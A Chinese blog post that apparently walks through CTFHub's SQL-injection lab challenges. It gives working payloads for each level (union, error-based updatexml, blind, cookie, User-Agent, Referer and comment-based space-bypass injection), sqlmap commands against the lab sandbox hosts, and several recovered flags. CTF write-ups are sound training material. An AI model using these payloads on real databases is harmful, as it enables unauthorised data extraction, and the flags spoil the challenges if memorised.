• CTFHub技能树 Web-SQL注入详解



    在这里插入图片描述

    0x01 整数型注入

    在这里插入图片描述

    解题WP
    第一步 尝试闭合点
    在这里插入图片描述
    在这里插入图片描述

    第二步 判断列数

    id=1 order by 2 页面正常
    id=1 order by 3 页面未回显数据
    
    • 1
    • 2

    在这里插入图片描述
    在这里插入图片描述

    第三步 联合查询,判断回显位置
    /?id=-1 union select 1,2

    在这里插入图片描述

    第四步 执行数据库语句
    -1 union select 1,database()
    在这里插入图片描述

    第五步 查询当前数据库下的表名
    id=-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'
    在这里插入图片描述

    第六步 查询表下的字段
    ?id=-1 union select 1,group_concat(column_name) from information_schema.columns where table_name='flag'
    在这里插入图片描述

    第七步 输入字段值
    ?id=-1 union select 1,flag from sqli.flag

    在这里插入图片描述

    0x02 字符型注入

    在这里插入图片描述

    解题WP
    第一步 闭合方式
    /?id=1' --+'
    在这里插入图片描述

    第二步 查看回显字段的位数

    id=1' order by 2 --+' 页面正常
    id=1' order by 3 --+' 页面未回显数据
    
    • 1
    • 2

    在这里插入图片描述

    第三步 判断回显的位置
    -1' union select 1,2 --+'
    在这里插入图片描述

    sqlmap -u http://challenge-e9227c10fafe8768.sandbox.ctfhub.com:10800/?id=1 --dbs
    在这里插入图片描述

    sqlmap -u http://challenge-e9227c10fafe8768.sandbox.ctfhub.com:10800/?id=1 -D sqli --tables

    在这里插入图片描述

    sqlmap -u http://challenge-e9227c10fafe8768.sandbox.ctfhub.com:10800/?id=1 -D sqli -T flag --columns
    在这里插入图片描述

    sqlmap -u http://challenge-e9227c10fafe8768.sandbox.ctfhub.com:10800/?id=1 -D sqli -T flag -C flag --dump
    
    • 1

    在这里插入图片描述

    0x03 报错注入

    在这里插入图片描述

    第一步 判断注入

    id=1页面回显正常
    id=1'发现页面报错,回显数据库错误信息
    
    • 1
    • 2

    在这里插入图片描述
    在这里插入图片描述

    第二步 使用updatexml注入,数据库名称

     updatexml(xml_document,xpath_string,new_value)
    第一个参数:xml_document,为xml文档对象名称,是数据库x库的doc字段
    第二个参数:xpath_string:xpath语法
    第三个参数:new_value:替换查找到的符合条件的字符(string)
    
    /?id=1 and updatexml(1,concat(0x5e,database()),1)
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6

    在这里插入图片描述

    第三步 获取表名
    编解码在线工具
    https://www.toolhelper.cn/

    /?id=1 and updatexml(1,concat(0x5e,(select group_concat(table_name) from information_schema.tables where table_schema=0x73716c69),0x5e),1)
    
    • 1

    在这里插入图片描述

    第四步 获取字段

    /?id=1 and updatexml(1,concat(0x5e,(select group_concat(column_name) from information_schema.columns where table_name=0x666c6167),0x5e),1)
    
    • 1

    在这里插入图片描述

    第五步 获取字段值

    /?id=1 and updatexml(1,concat(0x5e,(select flag from sqli.flag),0x5e),1)
    发先flag少了一部分
    mid 就可以得到flag后面的一部分
    /?id=1 and updatexml(1,concat(0x5e,mid((select flag from sqli.flag),32),0x5e),1)
    
    • 1
    • 2
    • 3
    • 4

    在这里插入图片描述
    在这里插入图片描述

    0x04 布尔盲注

    在这里插入图片描述

    --dbs 
    -D sqli --tables 
    -D sqli -T flag columns --dump
    
    • 1
    • 2
    • 3

    在这里插入图片描述

    sqlmap -u "http://challenge-70a9e8b793dd9d2b.sandbox.ctfhub.com:10800/?id=1" --dbs

    在这里插入图片描述

    在这里插入图片描述
    在这里插入图片描述

    sqlmap -u "http://url/?id=1" -D sqli --tables --batch
    在这里插入图片描述

    sqlmap -u "http://url/?id=1" -D sqli -T flag --columns --batch
    在这里插入图片描述

     sqlmap  -u "http://url/?id=1" -D sqli -T flag -C flag --dump --batch 
    ctfhub{c04dd02440c0191e73caad9c}
    
    • 1
    • 2

    在这里插入图片描述

    0x05 时间盲注

    --dbs 
    -D sqli --tables 
    -D sqli -T flag --columns 
    -D sqli -T flag -C flag --dump
    --batch 
    
    • 1
    • 2
    • 3
    • 4
    • 5

    在这里插入图片描述
    在这里插入图片描述

    0x06 MySql结构

    在这里插入图片描述

    --dbs 
    -D sqli --tables 
    -D sqli -T whvvzxswne columns --dump
    sqlmap -u http://url/?id=1  -D sqli -T  qtcwgcmzbh   -C  jkcwouoqak   --dump  --batch 
    ctfhub{f37e47264f12f73fe5129649} 
    
    • 1
    • 2
    • 3
    • 4
    • 5

    在这里插入图片描述

    0x07 Cookie注入

    在这里插入图片描述

    第一步 确定闭合

    Cookie: id=1  数字型注入
    
    • 1

    在这里插入图片描述

    第二步 查看回显字段的位数

    Cookie: id=1 order by 2; 页面正常
    Cookie: id=1 order by 3; 页面异常
    
    • 1
    • 2

    在这里插入图片描述
    在这里插入图片描述

    第三步 使用union查询,查看回显位置

    Cookie: id=-1 union select 1,2;
    
    • 1

    在这里插入图片描述

    第四步 查看当前数据库

    Cookie: id=-1 union select 1,database();
    
    • 1

    在这里插入图片描述

    第五步 查看表名

    Cookie: id=-1 union select 1,(select table_name from information_schema.tables where table_schema=database() limit 0,1);
    trxfffaswl
    news
    
    • 1
    • 2
    • 3

    在这里插入图片描述
    在这里插入图片描述

    第六步 查询字段

    Cookie: id=-1 union select 1,(select column_name from information_schema.columns where table_schema=database() and table_name='trxfffaswl' limit 0,1);
    brdjzysggi
    
    • 1
    • 2

    在这里插入图片描述

    第七步 查看字段值

    Cookie: id=-1 union select 1,(select brdjzysggi from trxfffaswl limit 0,1);
    
    • 1

    在这里插入图片描述

    0x08 空格绕过

    在这里插入图片描述

    第一步 确定闭合
    ?id=1/**/or/**/1=1 //测试or,and等特殊字符是否被过滤

    第二步 查看回显字段的位数

    ?id=1/**/order/**/by/**/2;页面正常
    ?id=1/**/order/**/by/**/3; 页面异常
    
    • 1
    • 2

    在这里插入图片描述
    在这里插入图片描述

    第三步 使用union查询,查看回显位置

    ?id=-1/**/union/**/select/**/1,2
    
    • 1

    在这里插入图片描述

    第四步 查看当前数据库

    -1/**/union/**/select/**/1,database()
    
    • 1

    在这里插入图片描述

    第五步 查看表名

    表明1
    ?id=-1/**/union/**/select/**/1,(select/**/table_name/**/from/**/information_schema.tables/**/where/**/table_schema='sqli'/**/limit/**/0,1)
    表名2
    ?id=-1/**/union/**/select/**/1,(select/**/table_name/**/from/**/information_schema.tables/**/where/**/table_schema='sqli'/**/limit/**/1,1)
    ID: imrqzusgig
    Data: news
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6

    在这里插入图片描述

    第六步 查询字段

    ?id=-1/**/union/**/select/**/1,(select/**/column_name/**/from/**/information_schema.columns/**/where/**/table_schema='sqli'/**/and/**/table_name='imrqzusgig'/**/limit/**/0,1)
    Data: sxiiqtwdft
    
    • 1
    • 2

    在这里插入图片描述

    第七步 查看字段值

    ?id=-1/**/union/**/select/**/1,(select/**/sxiiqtwdft/**/from/**/imrqzusgig/**/limit/**/0,1)
    
    • 1

    0x09 UA注入

    在这里插入图片描述

    第一步 构造闭合

    1 or 1=2 页面回显正常
    1 and 1=2
    
    • 1
    • 2

    在这里插入图片描述
    在这里插入图片描述

    第二步 查询列数量

    1 order by 1,2,3  页面报错
    1 order by 1,2  页面正常
    
    • 1
    • 2

    在这里插入图片描述
    在这里插入图片描述

    第三步 判断回显,查询数据库

    -1 union select 1,2 
    -1 union select 1,database()
    
    • 1
    • 2

    在这里插入图片描述
    在这里插入图片描述

    第四步 查看表名称

    -1 union select 1,(select table_name from information_schema.tables where table_schema=database() limit 0,1)
    cutmmwbdxt
    news
    
    • 1
    • 2
    • 3

    在这里插入图片描述

    第五步 查看字段名称

    -1 union select 1,(select column_name from information_schema.columns where table_schema=database() and table_name='cutmmwbdxt' limit 0,1)
    iezonoaoey 
    
    • 1
    • 2

    在这里插入图片描述

    第六步 查看字段值

    -1 union select 1,(select iezonoaoey   from cutmmwbdxt limit 0,1)
    ctfhub{509b5eecd5afe7a69925baad}
    
    • 1
    • 2

    在这里插入图片描述

    0x10 Refer注入

    在这里插入图片描述

    第一步 构造闭合

    1 or 1=2 页面回显正常
    1 and 1=2
    
    • 1
    • 2

    在这里插入图片描述
    在这里插入图片描述

    第二步 查询列数量

    1 order by 1,2,3  页面报错
    1 order by 1,2  页面正常
    
    • 1
    • 2

    在这里插入图片描述
    在这里插入图片描述

    第三步 判断回显,查询数据库

    -1 union select 1,2 
    -1 union select 1,database()
    
    • 1
    • 2

    在这里插入图片描述

    在这里插入图片描述

    第四步 查看表名称

    -1 union select 1,(select table_name from information_schema.tables where table_schema=database() limit 0,1)
    skwdbewppe
    news
    
    • 1
    • 2
    • 3

    在这里插入图片描述

    第五步 查看字段名称

    -1 union select 1,(select column_name from information_schema.columns where table_schema=database() and table_name='skwdbewppe' limit 0,1)
    lmdptzbbsz
    
    • 1
    • 2

    在这里插入图片描述

    第六步 查看字段值

    -1 union select 1,(select lmdptzbbsz  from skwdbewppe limit 0,1)
    ctfhub{696d71da4c29a525eb09512d}
    
    • 1
    • 2

    在这里插入图片描述

    所有的SQL注入完成
    在这里插入图片描述

    总结

    level有5级,越高检测越全,默认为 1

    --level 1 检测Get和Post
    
    --level 2 检测HTTP Cookie
    
    --level 3 检测User-Agent和Referer
    
    --level 4 检测
    
    --level 5 检测 HOST 头
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9

    risk有3级,级别越高风险越大,默认为1

    --risk 2 会在默认的检测上添加大量时间型盲注语句测试
    
    --risk 3 会在原基础上添加OR 类型的布尔型盲注 ,可能会update导致修改数据库
    
    • 1
    • 2
    • 3

    摘抄


    如果你有一堆苹果,有好有坏,你应该先吃好的,把烂的扔掉。如果你先吃坏的,好的也会变坏,你就永远吃不到好的,这就是苹果定律。
    苹果定律告诉我们,人必须善于取舍,要记住先做你生命中最重要的事。
    仔细想想,人生曾有多少次机遇被我们错过,有多少重要的事被我们割舍。每个阶段都有不同的目标,找到当下最核心最重要的事,是一个人最大的本事和能力。
      ---《苹果定律》


  • 相关阅读:
    PFSK130 3BSE002616R1 无源滤波器的定义
    Codeforces Round #836 (Div. 2) A-D
    【C++学习第二讲】开始学习C++
    RetentionPolicy枚举类
    过滤器,计算属性,属性侦听器
    Java学习笔记之----I/O(输入/输出)二
    秒杀项目的总结及面试常见问题
    java 数组一维转二维
    C++基础语法——智能指针
    collect 详细解析 Java 8 Stream API 中的 collect 方法
  • 原文地址:https://blog.csdn.net/qq_41901122/article/details/127973109